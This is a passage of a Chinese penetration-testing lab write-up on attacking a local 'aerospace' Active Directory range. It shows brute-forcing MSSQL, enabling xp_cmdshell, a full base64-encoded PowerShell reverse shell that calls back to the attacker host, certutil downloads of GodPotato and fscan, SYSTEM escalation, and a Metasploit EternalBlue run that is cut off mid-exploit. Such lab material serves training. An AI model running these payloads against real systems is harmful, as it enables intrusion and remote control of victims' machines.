内网渗透体系建设 — 靶场 WriteUp#
靶场简介#
官网搭建说明及镜像下载：https://book.nu1l.com/pentestbook/#/
镜像压缩包密码：关注Nu1L Team公众号（扫描下方二维码或者微信搜索Nu1L-Team），回复whoami获取即可
网络拓扑#
参考：https://book.nu1l.com/pentestbook/#/aerospace/README
| 节点 | IP | 服务 | 是否双网卡 | 是否域内 |
|---|
| Web01 | 网卡1：NAT 自动获取 / 网卡2：172.22.10.22 | IIS / SQL Server | 是 | 否 |
| WIN-PC8086 | 172.22.10.36 | 无 | 否 | aerospace.local |
| WIN-PC8098 | 172.22.10.40 | PHPStudy | 否 | aerospace.local |
| DC01 | 172.22.10.11 | AD DS | 否 | aerospace.local |
| CA | 172.22.10.13 | AD CS | 否 | aerospace.local |
环境部署#
通过 VMware Workstation 的"虚拟网络编辑器"创建一个新的网卡"VMnet13"，选择"仅主机"模式，子网设置为 172.22.10.0/24。
创建完毕后，分别导入五台虚拟机节点即可。注意先后顺序。
虚拟机状态为挂起状态，直接点击继续运行即可，请勿做任何改动！！！
五台虚拟机导入 Vmware 后没有登录密码，需要通过渗透获取。Web01 是双网卡，可以得知其 NAT 网络的 IP，本次搭建为：192.168.93.146
攻击链路图#
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| Web01 (192.168.93.146 / 172.22.10.22)
│ [MSSQL 弱口令 sa/123456 → xp_cmdshell → GodPotato 提权]
▼
WIN-PC8086 (172.22.10.36)
│ [MS17-010 永恒之蓝 → Mimikatz 抓取机器账户 Hash]
▼
WIN-PC8098 (172.22.10.40)
│ [约束委派 S4U2Self + S4U2Proxy → Mimikatz 抓取 liuyuhua 凭据]
▼
ADCS - AeroUser 模板 (ESC1 漏洞)
│ [certipy 申请域管证书 → LDAP Shell 改密码]
▼
DC01 (172.22.10.11) ── aerospace\Administrator
CA (172.22.10.13) ── aerospace\Administrator
|
第一阶段：Web01（192.168.93.146 / 172.22.10.22）#
1.1 扫描存活主机#
nmap -sn 192.168.93.1/24
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| ┌──(xvsf㉿kali)-[~]
└─$ nmap -sn 192.168.93.1/24
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-20 07:56 -0400
Nmap scan report for 192.168.93.1
Host is up (0.00013s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.93.2
Host is up (0.00022s latency).
MAC Address: 00:50:56:F3:8D:E9 (VMware)
Nmap scan report for 192.168.93.146
Host is up (0.00011s latency).
MAC Address: 00:0C:29:6E:ED:5F (VMware)
Nmap scan report for 192.168.93.147
Host is up (0.0014s latency).
MAC Address: 00:0C:29:CB:A2:FE (VMware)
Nmap scan report for 192.168.93.254
Host is up (0.00012s latency).
MAC Address: 00:50:56:ED:02:1A (VMware)
Nmap scan report for 192.168.93.128
Host is up.
Nmap done: 256 IP addresses (6 hosts up) scanned in 5.00 seconds
|
其中 192.168.93.1 和 192.168.93.254 属于网关地址，128 是 kali 本身，146 是 Web01。
1.2 扫描端口#
nmap 192.168.93.146
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| ┌──(xvsf㉿kali)-[~]
└─$ nmap 192.168.93.146
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-20 08:07 -0400
Nmap scan report for 192.168.93.146
Host is up (0.00044s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
1433/tcp open ms-sql-s
5985/tcp open wsman
MAC Address: 00:0C:29:6E:ED:5F (VMware)
Nmap done: 1 IP address (1 host up) scanned in 4.74 seconds
|
nmap -sV -sC -p21,80,1433,5985 192.168.93.146
-sV：探测服务版本号-sC：运行默认 NSE 脚本
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| ┌──(xvsf㉿kali)-[~]
└─$ nmap -sV -sC -p21,80,1433,5985 192.168.93.146
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-20 08:11 -0400
Nmap scan report for 192.168.93.146
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Home
| http-methods:
|_ Potentially risky methods: TRACE
1433/tcp open ms-sql-s Microsoft SQL Server 2016 13.00.4001.00; SP1
| ms-sql-ntlm-info:
| 192.168.93.146:1433:
| Target_Name: WIN-IISSERVER
| NetBIOS_Domain_Name: WIN-IISSERVER
| NetBIOS_Computer_Name: WIN-IISSERVER
| DNS_Domain_Name: WIN-IISSERVER
| DNS_Computer_Name: WIN-IISSERVER
|_ Product_Version: 10.0.17763
| ms-sql-info:
| 192.168.93.146:1433:
| Version:
| name: Microsoft SQL Server 2016 SP1
| number: 13.00.4001.00
| Product: Microsoft SQL Server 2016
| Service pack level: SP1
| Post-SP patches applied: false
|_ TCP port: 1433
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft
HTTPAPI/2.0
MAC Address: 00:0C:29:6E:ED:5F (VMware)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
|
1.3 FTP 枚举#
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| ┌──(xvsf㉿kali)-[~]
└─$ ftp 192.168.93.146
Connected to 192.168.93.146.
220 Microsoft FTP Service
Name (192.168.93.146:xvsf): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> pwd
Remote directory: /
ftp> dir -a
229 Entering Extended Passive Mode (|||53362|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> bye
221 Goodbye.
|
FTP 确认为空，没有利用价值。
1.4 HTTP 目录扫描#
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| ┌──(xvsf㉿kali)-[~]
└─$ dirsearch -u http://192.168.93.146
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发现 /download 目录和 /reports 需要认证的页面，但没有直接可利用的入口。
1.5 MS-SQL 弱口令爆破#
1433 端口是 MS SQL Server 的默认端口，使用 hydra 爆破：
hydra -l sa -P /usr/share/wordlists/rockyou.txt 192.168.93.146 mssql -t 4
获得凭据：sa / 123456，这是 MS-SQL 的最高权限账户。
1.6 连接 MS-SQL 并获取系统权限#
impacket-mssqlclient sa:123456@192.168.93.146
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| ┌──(xvsf㉿kali)-[~]
└─$ impacket-mssqlclient sa:123456@192.168.93.146
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: 简体中文
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WIN-IISSERVER): Line 1: 已将数据库上下文更改为 "master"。
[*] INFO(WIN-IISSERVER): Line 1: 已将语言设置更改为 简体中文。
[*] ACK: Result: 1 - Microsoft SQL Server 2016 (SP1) (13.0.4001)
[!] Press help for extra shell commands
SQL (sa dbo@master)>
|
开启 xp_cmdshell 并执行系统命令：
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| SQL (sa dbo@master)> EXEC sp_configure 'show advanced options', 1;
SQL (sa dbo@master)> RECONFIGURE;
SQL (sa dbo@master)> EXEC sp_configure 'xp_cmdshell', 1;
SQL (sa dbo@master)> RECONFIGURE;
SQL (sa dbo@master)> EXEC xp_cmdshell 'whoami';
output
----------------------
nt service\mssqlserver
NULL
|
确认当前用户为 nt service\mssqlserver，操作系统为 Windows Server 2019 Datacenter，双网卡（192.168.93.146 / 172.22.10.22）。
1.7 反弹 Shell#
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| # Kali 上生成 Base64 编码的 PowerShell 反弹命令
echo '$client = New-Object System.Net.Sockets.TCPClient("192.168.93.128",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv -t UTF-16LE | base64 -w 0
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADkAMwAuADEAMgA4ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAAoA
# SQL 会话中执行
EXEC xp_cmdshell 'powershell -nop -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADkAMwAuADEAMgA4ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAAoA';
# Kali 另一个终端监听
nc -lvnp 4444
|
1.8 GodPotato 提权#
当前用户拥有 SeImpersonatePrivilege 权限，可以使用 Potato 类工具提权到 SYSTEM。
GodPotato 地址：https://github.com/BeichenDream/GodPotato
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| # Kali 开启 HTTP 服务
python3 -m http.server 8080
# 目标机器下载
certutil -urlcache -split -f http://192.168.93.128:8080/GodPotato-NET4.exe C:\Windows\Temp\GodPotato.exe
# 测试提权
C:\Windows\Temp\GodPotato.exe -cmd "whoami"
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| PS C:\Windows\system32> C:\Windows\Temp\GodPotato.exe -cmd "whoami"
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 2684
nt authority\system
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提权成功！再次用 GodPotato 反弹一个 SYSTEM 权限的 Shell：
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| C:\Windows\Temp\GodPotato.exe -cmd "powershell -nop -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADkAMwAuADEAMgA4ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAAoA"
|
1.9 内网存活扫描#
上传 fscan 扫描内网网段 172.22.10.0/24：
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| certutil -urlcache -split -f http://192.168.93.128:8080/fscan.exe C:\Windows\Temp\fscan.exe
C:\Windows\Temp\fscan.exe -h 172.22.10.1/24
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| PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> certutil -urlcache -split -f http://192.168.93.128:8080/fscan.exe C:\Windows\Temp\fscan.exe
**** ?? ****
000000 ...
6ee000
CertUtil: -URLCache ???????
PS C:\Windows\system32> dir C:\Windows\Temp\
??: C:\Windows\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2024/2/22 11:45 DiagTrack_alternativeTrace
d----- 2024/2/22 11:45 DiagTrack_aot
d----- 2024/2/22 11:45 DiagTrack_diag
d----- 2024/2/22 11:45 DiagTrack_miniTrace
d----- 2024/2/21 21:02 vmware-SYSTEM
-a---- 2024/2/21 21:55 1020 ASPNETSetup_00000.log
-a---- 2024/2/21 21:56 1022 ASPNETSetup_00001.log
-a---- 2026/3/20 22:05 0 fscan
-a---- 2026/3/20 22:22 7266304 fscan.exe
-a---- 2026/3/20 21:08 57344 GodPotato.exe
-a---- 2024/2/22 0:26 2696 MpCmdRun.log
-a---- 2026/3/20 21:11 45056 sam
-a---- 2024/2/22 11:46 103 silconfig.log
-a---- 2026/3/20 21:11 17252352 system
-a---- 2024/2/22 11:45 17470 vmware-vmsvc-SYSTEM.log
-a---- 2024/2/21 21:35 976 vmware-vmtoolsd-Administrator.log
-a---- 2024/2/22 11:45 1464 vmware-vmtoolsd-SYSTEM.log
-a---- 2024/2/22 11:45 6374 vmware-vmusr-Administrator.log
-a---- 2024/2/22 11:45 958 vmware-vmvss-SYSTEM.log
PS C:\Windows\system32> C:\Windows\Temp\fscan.exe -h 172.22.10.1/24
start infoscan
(icmp) Target 172.22.10.11 is alive
(icmp) Target 172.22.10.13 is alive
(icmp) Target 172.22.10.22 is alive
(icmp) Target 172.22.10.36 is alive
(icmp) Target 172.22.10.40 is alive
[*] Icmp alive hosts len is: 5
172.22.10.40:7680 open
172.22.10.11:88 open
172.22.10.40:3306 open
172.22.10.22:1433 open
172.22.10.40:445 open
172.22.10.36:445 open
172.22.10.22:445 open
172.22.10.13:445 open
172.22.10.11:445 open
172.22.10.40:139 open
172.22.10.36:139 open
172.22.10.22:139 open
172.22.10.13:139 open
172.22.10.11:139 open
172.22.10.40:135 open
172.22.10.36:135 open
172.22.10.22:135 open
172.22.10.13:135 open
172.22.10.11:135 open
172.22.10.40:80 open
172.22.10.22:80 open
172.22.10.13:80 open
172.22.10.22:21 open
[*] alive ports len is: 23
start vulscan
[*] WebTitle http://172.22.10.13 code:200 len:703 title:IIS Windows Server
[+] ftp 172.22.10.22:21:anonymous
[+] MS17-010 172.22.10.36 (Windows 7 Professional 7601 Service Pack 1)
[+] MS17-010 172.22.10.11 (Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.10.40 AEROSPACE\WIN-PC8098
[*] NetInfo
[*]172.22.10.11
[->]DC01
[->]172.22.10.11
[*] NetInfo
[*]172.22.10.40
[->]WIN-PC8098
[->]192.168.93.147
[->]172.22.10.40
[*] NetInfo
[*]172.22.10.36
[->]WIN-PC8086
[->]172.22.10.36
[*] NetInfo
[*]172.22.10.13
[->]CA
[->]172.22.10.13
[*] NetBios 172.22.10.11 [+] DC:DC01.aerospace.local Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.10.13 CA.aerospace.local Windows Server 2016 Datacenter 14393
[+] PocScan http://172.22.10.13 poc-yaml-active-directory-certsrv-detect
[+] mssql 172.22.10.22:1433:sa 123456
?????23/23
[*] ??????,???: 1m48.9636068s
PS C:\Windows\system32>
|
关键发现：
- 172.22.10.36 (WIN-PC8086)：存在 MS17-010 永恒之蓝漏洞（Windows 7 SP1）
- 172.22.10.11 (DC01)：域控制器
- 172.22.10.13 (CA)：证书服务器，检测到 AD CS 服务
- 172.22.10.40 (WIN-PC8098)：域内工作站
第二阶段：WIN-PC8086（172.22.10.36）— 永恒之蓝#
2.1 MS17-010 利用#
WIN-PC8086 是 Windows 7 SP1，存在 MS17-010 漏洞，使用 Metasploit 攻击：
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| use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 172.22.10.36
set lport 4444
run
|
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| ┌──(xvsf㉿kali)-[~]
└─$ msfconsole
Metasploit tip: Open an interactive Ruby terminal with irb
*Neutrino_Cannon*PrettyBeefy*PostalTime*binbash*deadastronauts*EvilBunnyWrote*L1T*Mail.ru*() { :;}; echo vulnerable*
*Team sorceror*ADACTF*BisonSquad*socialdistancing*LeukeTeamNaam*OWASP Moncton*Alegori*exit*Vampire Bunnies*APT593*
*QuePasaZombiesAndFriends*NetSecBG*coincoin*ShroomZ*Slow Coders*Scavenger Security*Bruh*NoTeamName*Terminal Cult*
*edspiner*BFG*MagentaHats*0x01DA*Kaczuszki*AlphaPwners*FILAHA*Raffaela*HackSurYvette*outout*HackSouth*Corax*yeeb0iz*
*SKUA*Cyber COBRA*flaghunters*0xCD*AI Generated*CSEC*p3nnm3d*IFS*CTF_Circle*InnotecLabs*baadf00d*BitSwitchers*0xnoobs*
*ItPwns - Intergalactic Team of PWNers*PCCsquared*fr334aks*runCMD*0x194*Kapital Krakens*ReadyPlayer1337*Team 443*
*H4CKSN0W*InfOUsec*CTF Community*DCZia*NiceWay*0xBlueSky*ME3*Tipi'Hack*Porg Pwn Platoon*Hackerty*hackstreetboys*
*ideaengine007*eggcellent*H4x*cw167*localhorst*Original Cyan Lonkero*Sad_Pandas*FalseFlag*OurHeartBleedsOrange*SBWASP*
*Cult of the Dead Turkey*doesthismatter*crayontheft*Cyber Mausoleum*scripterz*VetSec*norbot*Delta Squad Zero*Mukesh*
*x00-x00*BlackCat*ARESx*cxp*vaporsec*purplehax*RedTeam@MTU*UsalamaTeam*vitamink*RISC*forkbomb444*hownowbrowncow*
*etherknot*cheesebaguette*downgrade*FR!3ND5*badfirmware*Cut3Dr4g0n*dc615*nora*Polaris One*team*hail hydra*Takoyaki*
*Sudo Society*incognito-flash*TheScientists*Tea Party*Reapers of Pwnage*OldBoys*M0ul3Fr1t1B13r3*bearswithsaws*DC540*
*iMosuke*Infosec_zitro*CrackTheFlag*TheConquerors*Asur*4fun*Rogue-CTF*Cyber*TMHC*The_Pirhacks*btwIuseArch*MadDawgs*
*HInc*The Pighty Mangolins*CCSF_RamSec*x4n0n*x0rc3r3rs*emehacr*Ph4n70m_R34p3r*humziq*Preeminence*UMGC*ByteBrigade*
*TeamFastMark*Towson-Cyberkatz*meow*xrzhev*PA Hackers*Kuolema*Nakateam*L0g!c B0mb*NOVA-InfoSec*teamstyle*Panic*
*B0NG0R3* *Les Cadets Rouges*buf*
*Les Tontons Fl4gueurs* *404 : Flag Not Found*
*' UNION SELECT 'password* _________ __ *OCD247*Sparkle Pony*
*burner_herz0g* \_ ___ \_____ _______/ |_ __ _________ ____ *Kill$hot*ConEmu*
*here_there_be_trolls* / \ \/\__ \ \____ \ __\ | \_ __ \_/ __ \ *;echo"hacked"*
*r4t5_*6rung4nd4*NYUSEC* \ \____/ __ \| |_> > | | | /| | \/\ ___/ *karamel4e*
*IkastenIO*TWC*balkansec* \______ (____ / __/|__| |____/ |__| \___ > *cybersecurity.li*
*TofuEelRoll*Trash Pandas* \/ \/|__| \/ *OneManArmy*cyb3r_w1z4rd5*
*Astra*Got Schwartz?*tmux* ___________.__ *AreYouStuck*Mr.Robot.0*
*\nls*Juicy white peach* \__ ___/| |__ ____ *EPITA Rennes*
*HackerKnights* | | | | \_/ __ \ *guildOfGengar*Titans*
*Pentest Rangers* | | | Y \ ___/ *The Libbyrators*
*placeholder name*bitup* |____| |___| /\___ > *JeffTadashi*Mikeal*
*UCASers*onotch* \/ \/ *ky_dong_day_song*
*NeNiNuMmOk* ___________.__ *JustForFun!*
*Maux de tête*LalaNG* \_ _____/| | _____ ____ *g3tsh3Lls0on*
*crr0tz*z3r0p0rn*clueless* | __) | | \__ \ / ___\ *Phở Đặc Biệt*Paradox*
*HackWara* | \ | |__/ __ \_/ /_/ > *KaRIPux*inf0sec*
*Kugelschreibertester* \___ / |____(____ /\___ / *bluehens*Antoine77*
*icemasters* \/ \//_____/ *genxy*TRADE_NAMES*
*Spartan's Ravens* _______________ _______________ *BadByte*fontwang_tw*
*g0ldd1gg3rs*pappo* \_____ \ _ \ \_____ \ _ \ *ghoti*
*Les CRACKS*c0dingRabbits* / ____/ /_\ \ / ____/ /_\ \ *LinuxRiders*
*2Cr4Sh*RecycleBin* / \ \_/ \/ \ \_/ \ *Jalan Durian*
*ExploitStudio* \_______ \_____ /\_______ \_____ / *WPICSC*logaritm*
*Car RamRod*0x41414141* \/ \/ \/ \/ *Orv1ll3*team-fm4dd*
*Björkson*FlyingCircus* *PwnHub*H4X0R*Yanee*
*Securifera*hot cocoa* *Et3rnal*PelarianCP*
*n00bytes*DNC&G*guildzero*dorko*tv*42*{EHF}*CarpeDien*Flamin-Go*BarryWhite*XUcyber*FernetInjection*DCcurity*
*Mars Explorer*ozen_cfw*Fat Boys*Simpatico*nzdjb*Isec-U.O*The Pomorians*T35H*H@wk33*JetJ*OrangeStar*Team Corgi*
*D0g3*0itch*OffRes*LegionOfRinf*UniWA*wgucoo*Pr0ph3t*L0ner*_n00bz*OSINT Punchers*Tinfoil Hats*Hava*Team Neu*
*Cyb3rDoctor*Techlock Inc*kinakomochi*DubbelDopper*bubbasnmp*w*Gh0st$*tyl3rsec*LUCKY_CLOVERS*ev4d3rx10-team*ir4n6*
*PEQUI_ctf*HKLBGD*L3o*5 bits short of a byte*UCM*ByteForc3*Death_Geass*Stryk3r*WooT*Raise The Black*CTErr0r*
*Individual*mikejam*Flag Predator*klandes*_no_Skids*SQ.*CyberOWL*Ironhearts*Kizzle*gauti*
*San Antonio College Cyber Rangers*sam.ninja*Akerbeltz*cheeseroyale*Ephyra*sard city*OrderingChaos*Pickle_Ricks*
*Hex2Text*defiant*hefter*Flaggermeister*Oxford Brookes University*OD1E*noob_noob*Ferris Wheel*Ficus*ONO*jameless*
*Log1c_b0mb*dr4k0t4*0th3rs*dcua*cccchhhh6819*Manzara's Magpies*pwn4lyfe*Droogy*Shrubhound Gang*ssociety*HackJWU*
*asdfghjkl*n00bi3*i-cube warriors*WhateverThrone*Salvat0re*Chadsec*0x1337deadbeef*StarchThingIDK*Tieto_alaviiva_turva*
*InspiV*RPCA Cyber Club*kurage0verfl0w*lammm*pelicans_for_freedom*switchteam*tim*departedcomputerchairs*cool_runnings*
*chads*SecureShell*EetIetsHekken*CyberSquad*P&K*Trident*RedSeer*SOMA*EVM*BUckys_Angels*OrangeJuice*DemDirtyUserz*
*OpenToAll*Born2Hack*Bigglesworth*NIS*10Monkeys1Keyboard*TNGCrew*Cla55N0tF0und*exploits33kr*root_rulzz*InfosecIITG*
*superusers*H@rdT0R3m3b3r*operators*NULL*stuxCTF*mHackresciallo*Eclipse*Gingabeast*Hamad*Immortals*arasan*MouseTrap*
*damn_sadboi*tadaaa*null2root*HowestCSP*fezfezf*LordVader*Fl@g_Hunt3rs*bluenet*P@Ge2mE*
=[ metasploit v6.4.116-dev ]
+ -- --=[ 2,623 exploits - 1,326 auxiliary - 1,710 payloads ]
+ -- --=[ 432 post - 49 encoders - 14 nops - 10 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
msf > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > set rhosts 172.22.10.36
rhosts => 172.22.10.36
msf exploit(windows/smb/ms17_010_eternalblue) > set lport 4444
lport => 4444
msf exploit(windows/smb/ms17_010_eternalblue) > run
[*] 172.22.10.36:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 172.22.10.36:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.26/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 172.22.10.36:445 - Scanned 1 of 1 hosts (100% complete)
[+] 172.22.10.36:445 - The target is vulnerable.
[*] 172.22.10.36:445 - Connecting to target for exploitation.
[+] 172.22.10.36:445 - Connection established for exploitation.
[+] 172.22.10.36:445 - Target OS selected valid for OS indicated by SMB reply
[*] 172.22.10.36:445 - CORE raw buffer dump (42 bytes)
[*] 172.22.10.36:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 172.22.10.36:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 172.22.10.36:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 172.22.10.36:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 172.22.10.36:445 - Trying exploit with 12 Groom Allocations.
[*] 172.22.10.36:445 - Sending all but last fragment of exploit packet
[*] 172.22.10.36:445 - Starting non-paged pool grooming
[+] 172.22.10.36:445 - Sending SMBv2 buffers
